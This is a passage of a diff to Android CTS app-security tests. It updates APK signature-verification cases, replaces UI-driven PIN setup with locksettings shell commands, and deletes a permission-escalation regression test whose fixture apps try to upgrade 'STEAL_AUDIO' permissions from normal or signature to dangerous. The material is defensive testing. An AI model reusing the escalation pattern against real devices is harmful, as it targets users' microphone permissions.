                 MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testNoResidualPermissionsOnUninstall_part1");
-        assertNull(getDevice().uninstallPackage(USES_PERMISSION_PKG));
+        assertNull(getDevice().uninstallPackage(PKG));
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testNoResidualPermissionsOnUninstall_part2");
     }
 
@@ -274,38 +266,28 @@
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_22), false, false));
         try {
-            runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
+            runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest22",
                     "testRevokePropagatedOnUpgradeOldToNewModel_part1");
             fail("App must be killed on a permission revoke");
         } catch (AssertionError expected) {
         }
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), true, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRevokePropagatedOnUpgradeOldToNewModel_part2");
     }
 
     public void testRevokePropagatedOnUpgradeNewToNewModel() throws Exception {
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRevokePropagatedOnUpgradeNewToNewModel_part1");
         assertNull(getDevice().installPackage(
                 MigrationHelper.getTestFile(mCtsBuild, APK_23), true, false));
-        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRevokePropagatedOnUpgradeNewToNewModel_part2");
     }
 
-    public void testNoPermissionEscalation() throws Exception {
-        assertNull(getDevice().installPackage(MigrationHelper.getTestFile(
-                mCtsBuild, APK_DECLARE_NON_RUNTIME_PERMISSIONS), false, false));
-        assertNull(getDevice().installPackage(MigrationHelper.getTestFile(
-                mCtsBuild, APK_ESCLATE_TO_RUNTIME_PERMISSIONS), true, false));
-        runDeviceTests(ESCALATE_PERMISSION_PKG,
-                "com.android.cts.escalatepermission.PermissionEscalationTest",
-                "testCannotEscalateNonRuntimePermissionsToRuntime");
-    }
-
     private void runDeviceTests(String packageName, String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
         Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index c0c7dc0..291bfda 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -81,83 +81,127 @@
 
     public void testInstallV1OneSignerMD5withRSA() throws Exception {
         // APK signed with v1 scheme only, one signer.
-        assertInstallSucceedsForEach("v1-only-with-rsa-pkcs1-md5-%s.apk", RSA_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.1-%s.apk", RSA_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-rsa-pkcs1-md5-1.2.840.113549.1.1.4-%s.apk", RSA_KEY_NAMES);
     }
 
     public void testInstallV1OneSignerSHA1withRSA() throws Exception {
         // APK signed with v1 scheme only, one signer.
-        assertInstallSucceedsForEach("v1-only-with-rsa-pkcs1-sha1-%s.apk", RSA_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.1-%s.apk", RSA_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.5-%s.apk", RSA_KEY_NAMES);
     }
 
     public void testInstallV1OneSignerSHA224withRSA() throws Exception {
         // APK signed with v1 scheme only, one signer.
-        assertInstallSucceedsForEach("v1-only-with-rsa-pkcs1-sha224-%s.apk", RSA_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.1-%s.apk", RSA_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-rsa-pkcs1-sha224-1.2.840.113549.1.1.14-%s.apk", RSA_KEY_NAMES);
     }
 
     public void testInstallV1OneSignerSHA256withRSA() throws Exception {
         // APK signed with v1 scheme only, one signer.
-        assertInstallSucceedsForEach("v1-only-with-rsa-pkcs1-sha256-%s.apk", RSA_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.1-%s.apk", RSA_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-rsa-pkcs1-sha256-1.2.840.113549.1.1.11-%s.apk", RSA_KEY_NAMES);
     }
 
     public void testInstallV1OneSignerSHA384withRSA() throws Exception {
         // APK signed with v1 scheme only, one signer.
-        assertInstallSucceedsForEach("v1-only-with-rsa-pkcs1-sha384-%s.apk", RSA_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.1-%s.apk", RSA_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-rsa-pkcs1-sha384-1.2.840.113549.1.1.12-%s.apk", RSA_KEY_NAMES);
     }
 
     public void testInstallV1OneSignerSHA512withRSA() throws Exception {
         // APK signed with v1 scheme only, one signer.
-        assertInstallSucceedsForEach("v1-only-with-rsa-pkcs1-sha512-%s.apk", RSA_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.1-%s.apk", RSA_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-rsa-pkcs1-sha512-1.2.840.113549.1.1.13-%s.apk", RSA_KEY_NAMES);
     }
 
     public void testInstallV1OneSignerSHA1withECDSA() throws Exception {
         // APK signed with v1 scheme only, one signer.
-        assertInstallSucceedsForEach("v1-only-with-ecdsa-sha1-%s.apk", EC_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-ecdsa-sha1-1.2.840.10045.2.1-%s.apk", EC_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-ecdsa-sha1-1.2.840.10045.4.1-%s.apk", EC_KEY_NAMES);
     }
 
     public void testInstallV1OneSignerSHA224withECDSA() throws Exception {
         // APK signed with v1 scheme only, one signer.
-        assertInstallSucceedsForEach("v1-only-with-ecdsa-sha224-%s.apk", EC_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-ecdsa-sha224-1.2.840.10045.2.1-%s.apk", EC_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-ecdsa-sha224-1.2.840.10045.4.3.1-%s.apk", EC_KEY_NAMES);
     }
 
     public void testInstallV1OneSignerSHA256withECDSA() throws Exception {
         // APK signed with v1 scheme only, one signer.
-        assertInstallSucceedsForEach("v1-only-with-ecdsa-sha256-%s.apk", EC_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-ecdsa-sha256-1.2.840.10045.2.1-%s.apk", EC_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-ecdsa-sha256-1.2.840.10045.4.3.2-%s.apk", EC_KEY_NAMES);
     }
 
     public void testInstallV1OneSignerSHA384withECDSA() throws Exception {
         // APK signed with v1 scheme only, one signer.
-        assertInstallSucceedsForEach("v1-only-with-ecdsa-sha384-%s.apk", EC_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-ecdsa-sha384-1.2.840.10045.2.1-%s.apk", EC_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-ecdsa-sha384-1.2.840.10045.4.3.3-%s.apk", EC_KEY_NAMES);
     }
 
     public void testInstallV1OneSignerSHA512withECDSA() throws Exception {
         // APK signed with v1 scheme only, one signer.
-        assertInstallSucceedsForEach("v1-only-with-ecdsa-sha512-%s.apk", EC_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-ecdsa-sha512-1.2.840.10045.2.1-%s.apk", EC_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-ecdsa-sha512-1.2.840.10045.4.3.4-%s.apk", EC_KEY_NAMES);
     }
 
     public void testInstallV1OneSignerSHA1withDSA() throws Exception {
         // APK signed with v1 scheme only, one signer.
-        assertInstallSucceedsForEach("v1-only-with-dsa-sha1-%s.apk", DSA_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-dsa-sha1-1.2.840.10040.4.1-%s.apk", DSA_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-dsa-sha1-1.2.840.10040.4.3-%s.apk", DSA_KEY_NAMES);
     }
 
     public void testInstallV1OneSignerSHA224withDSA() throws Exception {
         // APK signed with v1 scheme only, one signer.
-        assertInstallSucceedsForEach("v1-only-with-dsa-sha224-%s.apk", DSA_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-dsa-sha224-1.2.840.10040.4.1-%s.apk", DSA_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-dsa-sha224-2.16.840.1.101.3.4.3.1-%s.apk", DSA_KEY_NAMES);
     }
 
     public void testInstallV1OneSignerSHA256withDSA() throws Exception {
         // APK signed with v1 scheme only, one signer.
-        assertInstallSucceedsForEach("v1-only-with-dsa-sha256-%s.apk", DSA_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-dsa-sha256-1.2.840.10040.4.1-%s.apk", DSA_KEY_NAMES);
+        assertInstallSucceedsForEach(
+                "v1-only-with-dsa-sha256-2.16.840.1.101.3.4.3.2-%s.apk", DSA_KEY_NAMES);
     }
 
 //  Android platform doesn't support DSA with SHA-384 and SHA-512.
 //    public void testInstallV1OneSignerSHA384withDSA() throws Exception {
 //        // APK signed with v1 scheme only, one signer.
-//        assertInstallSucceedsForEach("v1-only-with-dsa-sha384-%s.apk", DSA_KEY_NAMES);
+//        assertInstallSucceedsForEach(
+//                "v1-only-with-dsa-sha384-2.16.840.1.101.3.4.3.3-%s.apk", DSA_KEY_NAMES);
 //    }
 //
 //    public void testInstallV1OneSignerSHA512withDSA() throws Exception {
 //        // APK signed with v1 scheme only, one signer.
-//        assertInstallSucceedsForEach("v1-only-with-dsa-sha512-%s.apk", DSA_KEY_NAMES);
+//        assertInstallSucceedsForEach(
+//                "v1-only-with-dsa-sha512-2.16.840.1.101.3.4.3.3-%s.apk", DSA_KEY_NAMES);
 //    }
 
     public void testInstallV2StrippedFails() throws Exception {
@@ -342,17 +386,18 @@
 
     public void testCorrectCertUsedFromPkcs7SignedDataCertsSet() throws Exception {
         // Obtained by prepending the rsa-1024 certificate to the PKCS#7 SignedData certificates set
-        // of v1-only-with-rsa-pkcs1-sha1-2048.apk META-INF/CERT.RSA. The certs (in the order of
-        // appearance in the file) are thus: rsa-1024, rsa-2048. The package's signing cert is
-        // rsa-2048.
+        // of v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.1-2048.apk META-INF/CERT.RSA. The certs
+        // (in the order of appearance in the file) are thus: rsa-1024, rsa-2048. The package's
+        // signing cert is rsa-2048.
         assertInstallSucceeds("v1-only-pkcs7-cert-bag-first-cert-not-used.apk");
 
         // Check that rsa-1024 was not used as the previously installed package's signing cert.
         assertInstallFailsWithError(
-                "v1-only-with-rsa-pkcs1-sha1-1024.apk", "signatures do not match");
+                "v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.1-1024.apk",
+                "signatures do not match");
 
         // Check that rsa-2048 was used as the previously installed package's signing cert.
-        assertInstallSucceeds("v1-only-with-rsa-pkcs1-sha1-2048.apk");
+        assertInstallSucceeds("v1-only-with-rsa-pkcs1-sha1-1.2.840.113549.1.1.1-2048.apk");
     }
 
     public void testV1SchemeSignatureCertNotReencoded() throws Exception {
@@ -419,6 +464,19 @@
                 "v2-only-with-rsa-pkcs1-sha256-1024.apk", "signatures do not match");
     }
 
+    public void testInstallMaxSizedZipEocdComment() throws Exception {
+        // Obtained by modifying apksigner to produce a max-sized (0xffff bytes long) ZIP End of
+        // Central Directory comment, and signing the original.apk using the modified apksigner.
+        assertInstallSucceeds("v1-only-max-sized-eocd-comment.apk");
+        assertInstallSucceeds("v2-only-max-sized-eocd-comment.apk");
+    }
+
+    public void testInstallEmpty() throws Exception {
+        assertInstallFailsWithError("empty-unsigned.apk", "Unknown failure");
+        assertInstallFailsWithError("v1-only-empty.apk", "Unknown failure");
+        assertInstallFailsWithError("v2-only-empty.apk", "Unknown failure");
+    }
+
     private void assertInstallSucceeds(String apkFilenameInResources) throws Exception {
         String installResult = installPackageFromResource(apkFilenameInResources);
         if (installResult != null) {
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
index 606b9ce..2807be8 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_PACKAGE_NAME := CtsAppAccessData
 
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk b/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
index 1109280..1852441 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_PACKAGE_NAME := CtsAppWithData
 
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk
deleted file mode 100644
index b98ba68..0000000
--- a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk
+++ /dev/null
@@ -1,29 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_PACKAGE_NAME := CtsDeclareNonRuntimePermissions
-
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/AndroidManifest.xml
deleted file mode 100644
index 411a66b..0000000
--- a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/AndroidManifest.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.escalate.permission">
-
-    <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"
-        android:permissionGroup="android.permission-group.MICROPHONE"
-        android:protectionLevel="normal"/>
-
-    <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"
-        android:permissionGroup="android.permission-group.MICROPHONE"
-        android:protectionLevel="signature"/>
-
-    <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"/>
-    <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"/>
-
-    <application android:hasCode="false"/>
-
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index bf6e622..1d27066 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -19,7 +19,6 @@
 import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE;
 import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
 
-import android.app.admin.DevicePolicyManager;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -32,8 +31,6 @@
 import android.os.UserManager;
 import android.provider.Settings;
 import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject;
-import android.support.test.uiautomator.UiSelector;
 import android.test.InstrumentationTestCase;
 import android.text.format.DateUtils;
 import android.util.Log;
@@ -43,9 +40,6 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
-// for another encryption ui setting package
-import android.content.pm.ResolveInfo;
-
 public class EncryptionAppTest extends InstrumentationTestCase {
     private static final String TAG = "EncryptionAppTest";
 
@@ -65,9 +59,6 @@
     private UiDevice mDevice;
     private AwareActivity mActivity;
 
-    // for another encryption ui setting package
-    private String mEncryptionSettingPackage = "com.android.settings";
-
     @Override
     public void setUp() throws Exception {
         super.setUp();
@@ -76,13 +67,6 @@
         mDe = mCe.createDeviceProtectedStorageContext();
         mPm = mCe.getPackageManager();
 
-        final Intent intent = new Intent(DevicePolicyManager.ACTION_SET_NEW_PASSWORD);
-        intent.addCategory(Intent.CATEGORY_DEFAULT);
-        ResolveInfo rInfo = mPm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
-        if (rInfo != null) {
-            mEncryptionSettingPackage = rInfo.activityInfo.packageName;
-        }
-
         mDevice = UiDevice.getInstance(getInstrumentation());
         assertNotNull(mDevice);
     }
@@ -108,44 +92,7 @@
         mDevice.waitForIdle();
 
         // Set a PIN for this user
-        final Intent intent = new Intent(DevicePolicyManager.ACTION_SET_NEW_PASSWORD);
-        intent.addCategory(Intent.CATEGORY_DEFAULT);
-        mActivity.startActivity(intent);
-        mDevice.waitForIdle();
-
-        // Pick PIN from the option list
-        UiObject view = new UiObject(new UiSelector()
-                .resourceId(mEncryptionSettingPackage + ":id/lock_pin"));
-        assertTrue("lock_pin", view.waitForExists(TIMEOUT));
-        view.click();
-        mDevice.waitForIdle();
-
-        // Ignore any interstitial options
-        view = new UiObject(new UiSelector()
-                .resourceId(mEncryptionSettingPackage + ":id/encrypt_dont_require_password"));
-        if (view.waitForExists(TIMEOUT)) {
-            view.click();
-            mDevice.waitForIdle();
-        }
-
-        // Yes, we really want to
-        view = new UiObject(new UiSelector()
-                .resourceId(mEncryptionSettingPackage + ":id/next_button"));
-        if (view.waitForExists(TIMEOUT)) {
-            view.click();
-            mDevice.waitForIdle();
-        }
-
-        // Set our PIN
-        view = new UiObject(new UiSelector()
-                .resourceId(mEncryptionSettingPackage + ":id/password_entry"));
-        assertTrue("password_entry", view.waitForExists(TIMEOUT));
-
-        // Enter it twice to confirm
-        enterTestPin();
-        enterTestPin();
-
-        mDevice.pressBack();
+        mDevice.executeShellCommand("locksettings set-pin 12345");
     }
 
     public void testTearDown() throws Exception {
@@ -157,48 +104,7 @@
         mDevice.waitForIdle();
 
         // Clear PIN for this user
-        final Intent intent = new Intent(DevicePolicyManager.ACTION_SET_NEW_PASSWORD);
-        intent.addCategory(Intent.CATEGORY_DEFAULT);
-        mActivity.startActivity(intent);
-        mDevice.waitForIdle();
-
-        // Enter current PIN
-        UiObject view = new UiObject(new UiSelector()
-                .resourceId(mEncryptionSettingPackage + ":id/password_entry"));
-        if (!view.waitForExists(TIMEOUT)) {
-            // Odd, maybe there is a crash dialog showing; try dismissing it
-            mDevice.pressBack();
-            mDevice.waitForIdle();
-
-            assertTrue("password_entry", view.waitForExists(TIMEOUT));
-        }
-
-        enterTestPin();
-
-        // Set back to "none"
-        view = new UiObject(new UiSelector()
-                .resourceId(mEncryptionSettingPackage + ":id/lock_none"));
-        assertTrue("lock_none", view.waitForExists(TIMEOUT));
-        view.click();
-        mDevice.waitForIdle();
-
-        // Yes, we really want "none" if prompted again
-        view = new UiObject(new UiSelector()
-                .resourceId(mEncryptionSettingPackage + ":id/lock_none"));
-        if (view.waitForExists(TIMEOUT)) {
-            view.click();
-            mDevice.waitForIdle();
-        }
-
-        // Yes, we really want to
-        view = new UiObject(new UiSelector()
-                .resourceId("android:id/button1"));
-        if (view.waitForExists(TIMEOUT)) {
-            view.click();
-            mDevice.waitForIdle();
-        }
-
-        mDevice.pressBack();
+        mDevice.executeShellCommand("locksettings clear --old 12345");
     }
 
     public void doBootCountBefore() throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
deleted file mode 100644
index b1b7f83..0000000
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsEscalateToRuntimePermissions
-
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml
deleted file mode 100644
index 198bb39..0000000
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml
+++ /dev/null
@@ -1,38 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.escalate.permission">
-
-    <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"
-        android:permissionGroup="android.permission-group.MICROPHONE"
-        android:protectionLevel="dangerous"/>
-
-    <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"
-        android:permissionGroup="android.permission-group.MICROPHONE"
-        android:protectionLevel="dangerous"/>
-
-    <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"/>
-    <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"/>
-
-    <application/>
-
-
-    <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.escalate.permission" />
-
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/res/values/strings.xml
deleted file mode 100644
index bd208bc..0000000
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/res/values/strings.xml
+++ /dev/null
@@ -1,6 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Just need this dummy file to force building Manifest.java. -->
-<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
-  <string name="keysets_perm_desc">keysets_perm_description</string>
-</resources>
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
deleted file mode 100644
index bbe8e02..0000000
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.escalatepermission;
-
-import android.content.Context;
-import android.content.pm.PermissionInfo;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import static org.junit.Assert.assertSame;
-
-import com.android.cts.escalate.permission.Manifest;
-
-@RunWith(AndroidJUnit4.class)
-public class PermissionEscalationTest {
-    @Test
-    public void testCannotEscalateNonRuntimePermissionsToRuntime() throws Exception {
-        Context context = InstrumentationRegistry.getTargetContext();
-
-        // Ensure normal permission cannot be made dangerous
-        PermissionInfo stealAudio1Permission1 = context.getPackageManager()
-                .getPermissionInfo(Manifest.permission.STEAL_AUDIO1, 0);
-        assertSame("Shouldn't be able to change normal permission to dangerous",
-                PermissionInfo.PROTECTION_NORMAL, (stealAudio1Permission1.protectionLevel
-                        & PermissionInfo.PROTECTION_MASK_BASE));
-
-        // Ensure signature permission cannot be made dangerous
-        PermissionInfo stealAudio1Permission2 = context.getPackageManager()
-                .getPermissionInfo(Manifest.permission.STEAL_AUDIO2, 0);
-        assertSame("Shouldn't be able to change signature permission to dangerous",
-                PermissionInfo.PROTECTION_SIGNATURE, (stealAudio1Permission2.protectionLevel
-                        & PermissionInfo.PROTECTION_MASK_BASE));
-     }
- }
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
index 560607b..74d1352 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_PACKAGE_NAME := CtsExternalStorageApp
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
index f5666d1..4b0bec3 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
@@ -103,6 +103,7 @@
      * Verify we can write to our own package dirs.
      */
     public void testAllPackageDirsWritable() throws Exception {
+        final long testValue = 12345000;
         final List<File> paths = getAllPackageSpecificPaths(getContext());
         for (File path : paths) {
